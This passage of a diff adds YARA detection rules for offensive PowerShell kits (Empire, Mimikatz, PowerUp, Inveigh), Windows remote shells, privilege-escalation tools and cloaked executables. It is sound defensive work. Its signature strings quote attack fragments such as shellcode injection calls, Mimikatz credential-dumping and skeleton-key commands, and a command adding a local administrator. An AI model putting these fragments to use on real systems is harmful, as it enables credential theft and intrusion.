+		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii 
+	condition:
+		filesize < 100KB and 1 of them
+}
+
+rule Empire_Invoke_Mimikatz {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Mimikatz.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "c5481864b757837ecbc75997fa24978ffde3672b8a144a55478ba9a864a19466"
+	strings:
+		$s1 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" ascii 
+		$s2 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)" fullword ascii 
+		$s3 = "Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii 
+	condition:
+		filesize < 2500KB and 2 of them
+}
+
+rule Empire_lib_modules_credentials_mimikatz_pth {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file pth.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "6dee1cf931e02c5f3dc6889e879cc193325b39e18409dcdaf987b8bf7c459211"
+	strings:
+		$s0 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii 
+		$s1 = "command = \"sekurlsa::pth /user:\"+self.options[\"user\"]['Value']" fullword ascii 
+	condition:
+		filesize < 12KB and all of them
+}
+
+rule Empire_Write_HijackDll {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Write-HijackDll.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "155fa7168e28f15bb34f67344f47234a866e2c63b3303422ff977540623c70bf"
+	strings:
+		$s1 = "$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString \"debug.bat\" -ReplaceString $BatchPath" fullword ascii 
+		$s2 = "$DllBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBw" ascii 
+		$s3 = "[Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)" fullword ascii 
+	condition:
+		filesize < 500KB and 2 of them
+}
+
+rule Empire_skeleton_key {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file skeleton_key.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "3d02f16dcc38faaf5e97e4c5dbddf761f2816004775e6af8826cde9e29bb750f"
+	strings:
+		$s1 = "script += \"Invoke-Mimikatz -Command '\\\"\" + command + \"\\\"';\"" fullword ascii 
+		$s2 = "script += '\"Skeleton key implanted. Use password \\'mimikatz\\' for access.\"'" fullword ascii 
+		$s3 = "command = \"misc::skeleton\"" fullword ascii 
+		$s4 = "\"ONLY APPLICABLE ON DOMAIN CONTROLLERS!\")," fullword ascii 
+	condition:
+		filesize < 6KB and 2 of them
+}
+
+rule Empire_invoke_wmi {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file invoke_wmi.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "a914cb227f652734a91d3d39745ceeacaef7a8b5e89c1beedfd6d5f9b4615a1d"
+	strings:
+		$s1 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii 
+		$s2 = "script += \";'Invoke-Wmi executed on \" +computerNames +\"'\"" fullword ascii 
+		$s3 = "script = \"$PSPassword = \\\"\"+password+\"\\\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Man" ascii 
+	condition:
+		filesize < 20KB and 2 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-04
+	Identifier: PowerShell Toolset - Cloaked
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ps1_toolkit_PowerUp {
+	meta:
+		description = "Auto-generated rule - file PowerUp.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
+	strings:
+		$s1 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list vdir /text:vdir.name\" | % { " fullword ascii
+		$s2 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list apppools /text:name\" | % { " fullword ascii
+		$s3 = "if ($Env:PROCESSOR_ARCHITECTURE -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBNAEQANgA0AA==')))) {" fullword ascii
+		$s4 = "C:\\Windows\\System32\\InetSRV\\appcmd.exe list vdir /text:physicalpath | " fullword ascii
+		$s5 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe\"))" fullword ascii
+		$s6 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\InetSRV\\appcmd.exe\")) {" fullword ascii
+		$s7 = "Write-Verbose \"Executing command '$Cmd'\"" fullword ascii
+		$s8 = "Write-Warning \"[!] Target service" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 4000KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce {
+	meta:
+		description = "Auto-generated rule - file Inveigh-BruteForce.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+	strings:
+		$s1 = "Import-Module .\\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 " fullword ascii
+		$s2 = "$(Get-Date -format 's') - Attempting to stop HTTP listener\")|Out-Null" fullword ascii
+		$s3 = "Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 300KB and 1 of them ) or ( 2 of them )
+}
+
+rule ps1_toolkit_Invoke_Shellcode {
+	meta:
+		description = "Auto-generated rule - file Invoke-Shellcode.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "24abe9f3f366a3d269f8681be80c99504dea51e50318d83ee42f9a4c7435999a"
+	strings:
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "Get-ProcAddress kernel32.dll OpenProcess" fullword ascii
+		$s3 = "msfpayload windows/exec CMD=\"cmd /k calc\" EXITFUNC=thread C | sed '1,6d;s/[\";]//g;s/\\\\/,0/g' | tr -d '\\n' | cut -c2- " fullword ascii
+		$s4 = "inject shellcode into" ascii
+		$s5 = "Injecting shellcode" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 90KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Invoke_Mimikatz {
+	meta:
+		description = "Auto-generated rule - file Invoke-Mimikatz.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
+	strings:
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "ps | where { $_.Name -eq $ProcName } | select ProcessName, Id, SessionId" fullword ascii
+		$s3 = "privilege::debug exit" ascii
+		$s4 = "Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" fullword ascii
+		$s5 = "Invoke-Mimikatz -DumpCreds" fullword ascii
+		$s6 = "| Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 10000KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Invoke_RelfectivePEInjection {
+	meta:
+		description = "Auto-generated rule - file Invoke-RelfectivePEInjection.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
+	strings:
+		$x1 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)" fullword ascii
+		$x2 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local" fullword ascii
+		$x3 = "} = Get-ProcAddress Advapi32.dll OpenThreadToken" ascii
+		$x4 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local" fullword ascii
+		$s5 = "$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')" fullword ascii
+		$s6 = "= Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 700KB and 2 of them ) or ( all of them )
+}
+
+rule ps1_toolkit_Persistence {
+	meta:
+		description = "Auto-generated rule - file Persistence.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
+	strings:
+		$s1 = "\"`\"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```\"root\\subscription```" ascii
+		$s2 = "}=$PROFILE.AllUsersAllHosts;${" ascii
+		$s3 = "C:\\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup"  ascii
+		$s4 = "= gwmi Win32_OperatingSystem | select -ExpandProperty OSArchitecture"  ascii
+		$s5 = "-eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxADQAQwA='))))"  ascii
+		$s6 = "}=$PROFILE.CurrentUserAllHosts;${"  ascii
+		$s7 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s8 = "[System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Invoke_Mimikatz_RelfectivePEInjection {
+	meta:
+		description = "Auto-generated rule - from files Invoke-Mimikatz.ps1, Invoke-RelfectivePEInjection.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		super_rule = 1
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
+		hash2 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
+	strings:
+		$s1 = "[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+		$s2 = "if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)" fullword ascii
+		$s3 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)" fullword ascii
+		$s4 = "Function Import-DllInRemoteProcess" fullword ascii
+		$s5 = "FromBase64String('QwBvAG4AdABpAG4AdQBlAA==')))" fullword ascii
+		$s6 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)" fullword ascii
+		$s7 = "[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)" fullword ascii
+		$s8 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null" fullword ascii
+		$s9 = "::FromBase64String('RABvAG4AZQAhAA==')))" ascii
+		$s10 = "Write-Verbose \"PowerShell ProcessID: $PID\"" fullword ascii
+		$s11 = "[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 10000KB and 3 of them ) or ( 6 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce_2 {
+	meta:
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+	strings:
+		$s1 = "}.NTLMv2_file_queue[0]|Out-File ${" ascii
+		$s2 = "}.NTLMv2_file_queue.RemoveRange(0,1)" ascii
+		$s3 = "}.NTLMv2_file_queue.Count -gt 0)" ascii
+		$s4 = "}.relay_running = $false" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_PowerUp_2 {
+	meta:
+		description = "Auto-generated rule - from files PowerUp.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
+	strings:
+		$s1 = "if($MyConString -like $([Text.Encoding]::Unicode.GetString([Convert]::" ascii
+		$s2 = "FromBase64String('KgBwAGEAcwBzAHcAbwByAGQAKgA=')))) {" ascii
+		$s3 = "$Null = Invoke-ServiceStart" ascii
+		$s4 = "Write-Warning \"[!] Access to service $" ascii
+		$s5 = "} = $MyConString.Split(\"=\")[1].Split(\";\")[0]" ascii
+		$s6 = "} += \"net localgroup ${" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 2000KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Persistence_2 {
+	meta:
+		description = "Auto-generated rule - from files Persistence.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
+	strings:
+		$s1 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s2 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBEAGEAaQBsAHkA')" ascii
+		$s3 = "FromBase64String('UAB1AGIAbABpAGMALAAgAFMAdABhAHQAaQBjAA==')" ascii
+		$s4 = "[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]" ascii
+		$s5 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAHQATABvAGcAbwBuAA==')))" ascii
+		$s6 = "[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]" fullword ascii
+		$s7 = "FromBase64String('TQBlAHQAaABvAGQA')" ascii
+		$s8 = "FromBase64String('VAByAGkAZwBnAGUAcgA=')" ascii
+		$s9 = "[Runtime.InteropServices.CallingConvention]::Winapi," fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce_3 {
+	meta:
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash3 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+	strings:
+		$s1 = "::FromBase64String('TgBUAEwATQA=')" ascii
+		$s2 = "::FromBase64String('KgBTAE0AQgAgAHIAZQBsAGEAeQAgACoA')))" ascii
+		$s3 = "::FromBase64String('KgAgAGYAbwByACAAcgBlAGwAYQB5ACAAKgA=')))" ascii
+		$s4 = "::FromBase64String('KgAgAHcAcgBpAHQAdABlAG4AIAB0AG8AIAAqAA==')))" ascii
+		$s5 = "[Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`" fullword ascii
+		$s6 = "KgAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIAAqAA" ascii
+		$s7 = "}.bruteforce_running)" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-26
+	Identifier: regsvr32 issue
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SCT_Scriptlet_in_Temp_Inet_Files {
+	meta:
+		description = "Detects a scriptlet file in the temporary Internet files (see regsvr32 AppLocker bypass)"
+		author = "Florian Roth"
+		reference = "http://goo.gl/KAB8Jw"
+		date = "2016-04-26"
+	strings:
+		$s1 = "<scriptlet>" fullword ascii nocase
+		$s2 = "ActiveXObject(\"WScript.Shell\")" ascii
+	condition:
+		( uint32(0) == 0x4D583F3C or uint32(0) == 0x6D78F3C ) /* <?XM or <?xm */
+		and $s1 and $s2
+		and filepath contains "Temporary Internet Files"
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-10
+	Identifier: SharpCat
+*/
+
+rule SharpCat {
+	meta:
+		description = "Detects command shell SharpCat - file SharpCat.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/Cn33liz/SharpCat"
+		date = "2016-06-10"
+		hash1 = "96dcdf68b06c3609f486f9d560661f4fec9fe329e78bd300ad3e2a9f07e332e9"
+	strings:
+		$x1 = "ShellZz" fullword ascii
+		$s2 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+		$s3 = "currentDirectory" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-30
+	Identifier: TempRacer
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule TempRacer {
+	meta:
+		description = "Detects privilege escalation tool - file TempRacer.exe"
+		author = "Florian Roth"
+		reference = "http://www.darknet.org.uk/2016/03/tempracer-windows-privilege-escalation-tool/"
+		date = "2016-03-30"
+		hash = "e17d80c4822d16371d75e1440b6ac44af490b71fbee1010a3e8a5eca94d22bb3"
+	strings:
+		$s1 = "\\obj\\Release\\TempRacer.pdb" ascii
+		$s2 = "[+] Injecting into " fullword wide
+		$s3 = "net localgroup administrators alex /add" fullword wide
+		$s4 = "[+] File: {0} renamed to {1}" fullword wide
+		$s5 = "[+] Blocking " fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 25KB and 1 of them ) or ( 4 of them )
+}
+rule Exe_Cloaked_as_ThumbsDb
+    {
+    meta:
+        description = "Detects an executable cloaked as thumbs.db - Malware"
+        date = "2014-07-18"
+        author = "Florian Roth"
+        score = 50
+    condition:
+        uint16(0) == 0x5a4d and filename matches /[Tt]humbs\.db/
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-31
+	Identifier: Transformed Strings
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Typical_Malware_String_Transforms {
+	meta:
+		description = "Detects typical strings in a reversed or otherwise modified form"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-31"
+		score = 60
+	strings:
+		/* Executables */
+		$e1 = "exe.tsohcvs" fullword ascii
+		$e2 = "exe.ssasl" fullword ascii
+		$e3 = "exe.rerolpxe" fullword ascii
+		$e4 = "exe.erolpxei" fullword ascii
+		$e5 = "exe.23lldnur" fullword ascii
+		$e6 = "exe.dmc" fullword ascii
+		$e7 = "exe.llikksat" fullword ascii
+
+		/* Libraries */
+		$l1 = "lld.23lenreK" fullword ascii
+		$l2 = "lld.ESABLENREK" fullword ascii
+		$l3 = "lld.esabtpyrc" fullword ascii
+		$l4 = "lld.trcvsm" fullword ascii
+		$l5 = "LLD.LLDTN" fullword ascii
+
+		/* Imports */
+		$i1 = "paeHssecorPteG" fullword ascii
+		$i2 = "sserddAcorPteG" fullword ascii
+		$i3 = "AyrarbiLdaoL" fullword ascii
+		$i4 = "AssecorPetaerC" fullword ascii
+
+		/* Registry */
+		$r1 = "teSlortnoCtnerruC" fullword ascii
+		$r2 = "nuR\\noisreVtnerruC" fullword ascii
+
+		/* Folders */
+		$f1 = "\\23metsys\\" ascii
+		$f2 = "\\23metsyS\\" ascii
+		$f3 = "niB.elcyceR$" fullword ascii
+		$f4 = "%tooRmetsyS%" fullword ascii
+
+		/* False Positives */
+		$fp1 = "Application Impact Telemetry Static Analyzer" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and 1 of them and not 1 of ($fp*) )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-02
+	Identifier: Win Privilege Escalation
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Win_PrivEsc_gp3finder_v4_0 {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file gp3finder_v4.0.exe"
+		author = "Florian Roth"
+		reference = "http://grimhacker.com/2015/04/10/gp3finder-group-policy-preference-password-finder/"
+		date = "2016-06-02"
+		score = 80
+		hash1 = "7d34e214ef2ca33516875fb91a72d5798f89b9ea8964d3990f99863c79530c06"
+	strings:
+		$x1 = "Check for and attempt to decrypt passwords on share" ascii
+		$x2 = "Failed to auto get and decrypt passwords. {0}s/" fullword ascii
+		$x3 = "GPPPFinder - Group Policy Preference Password Finder" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or ( all of them )
+}
+
+rule Win_PrivEsc_folderperm {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file folderperm.ps1"
+		author = "Florian Roth"
+		reference = "http://www.greyhathacker.net/?p=738"
+		date = "2016-06-02"
+		score = 80
+		hash1 = "1aa87df34826b1081c40bb4b702750587b32d717ea6df3c29715eb7fc04db755"
+	strings:
+		$x1 = "# powershell.exe -executionpolicy bypass -file folderperm.ps1" fullword ascii
+		$x2 = "Write-Host \"[i] Dummy test file used to test access was not outputted:\" $filetocopy" fullword ascii
+		$x3 = "Write-Host -foregroundColor Red \"      Access denied :\" $myarray[$i] " fullword ascii
+	condition:
+		1 of them
+}
+
+rule Win_PrivEsc_ADACLScan4_3 {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file ADACLScan4.3.ps1"
+		author = "Florian Roth"
+		reference = "https://adaclscan.codeplex.com/"
+		score = 60
+		date = "2016-06-02"
+		hash1 = "3473ddb452de7640fab03cad3e8aaf6a527bdd6a7a311909cfef9de0b4b78333"
+	strings:
+		$s1 = "<Label x:Name=\"lblPort\" Content=\"Port:\"  HorizontalAlignment=\"Left\" Height=\"28\" Margin=\"10,0,0,0\" Width=\"35\"/>" fullword ascii
+		$s2 = "(([System.IconExtractor]::Extract(\"mmcndmgr.dll\", 126, $true)).ToBitMap()).Save($env:temp + \"\\Other.png\")    " fullword ascii
+		$s3 = "$bolValid = $ctx.ValidateCredentials($psCred.UserName,$psCred.GetNetworkCredential().Password)" fullword ascii
+	condition:
+		all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-26
+	Identifier: Windows Shells
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WindowsShell_s3 {
+	meta:
+		description = "Detects simple Windows shell - file s3.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v3" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "put <local> <remote> - upload file" fullword ascii
+		$s7 = "term                 - terminate remote client" fullword ascii
+		$s8 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s9 = "-l           Listen for incoming connections" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
+}
+
+rule WindosShell_s1 {
+	meta:
+		description = "Detects simple Windows shell - file s1.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+	strings:
+		$s1 = "[ executing cmd.exe" fullword ascii
+		$s2 = "[ simple remote shell for windows v1" fullword ascii
+		$s3 = "-p <number>  Port number to use (default is 443)" fullword ascii
+		$s4 = "usage: s1 <address> [options]" fullword ascii
+		$s5 = "[ waiting for connections on %s" fullword ascii
+		$s6 = "-l           Listen for incoming connections" fullword ascii
+		$s7 = "[ connection from %s" fullword ascii
+		$s8 = "[ %c%c requires parameter" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
+}
+
+rule WindowsShell_s4 {
+	meta:
+		description = "Detects simple Windows shell - file s4.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v4" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s8 = "-l           Listen for incoming connections" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule WindowsShell_Gen {
+	meta:
+		description = "Detects simple Windows shell - from files keygen.exe, s1.exe, s2.exe, s3.exe, s4.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		super_rule = 1
+		hash1 = "a7c3d85eabac01e7a7ec914477ea9f17e3020b3b2f8584a46a98eb6a2a7611c5"
+		hash2 = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+		hash3 = "df0693caae2e5914e63e9ee1a14c1e9506f13060faed67db5797c9e61f3907f0"
+		hash4 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash5 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+	strings:
+		$s0 = "[ %c%c requires parameter" fullword ascii
+		$s1 = "[ %s : %i" fullword ascii
+		$s2 = "[ %s : %s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( all of them )
+}
+
+rule WindowsShell_Gen2 {
+	meta:
+		description = "Detects simple Windows shell - from files s3.exe, s4.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		super_rule = 1
+		hash1 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash2 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "get <remote> <local> - download file" fullword ascii
+		$s3 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s4 = "put <local> <remote> - upload file" fullword ascii
+		$s5 = "term                 - terminate remote client" fullword ascii
+		$s6 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ error : received %i bytes" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
+}
+/*
+
+   Generic Cloaking
+
+   Florian Roth
+   BSK Consulting GmbH
+
+	License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+
+rule EXE_cloaked_as_TXT {
+	meta:
+		description = "Executable with TXT extension"
+		author = "Florian Roth"
+	condition:
+		uint16(0) == 0x5a4d 					// Executable
+		and filename matches /\.txt$/is   // TXT extension (case insensitive)
+}
+
+rule EXE_extension_cloaking {
+	meta:
+		description = "Executable showing different extension (Windows default 'hide known extension')"
+		author = "Florian Roth"
+	condition:
+		filename matches /\.txt\.exe$/is or	// Special file extensions
+		filename matches /\.pdf\.exe$/is		// Special file extensions
+}
+
+rule Cloaked_RAR_File {
+	meta:
+		description = "RAR file cloaked by a different extension"
+		author = "Florian Roth"
+	condition:
+		uint32be(0) == 0x52617221							// RAR File Magic Header
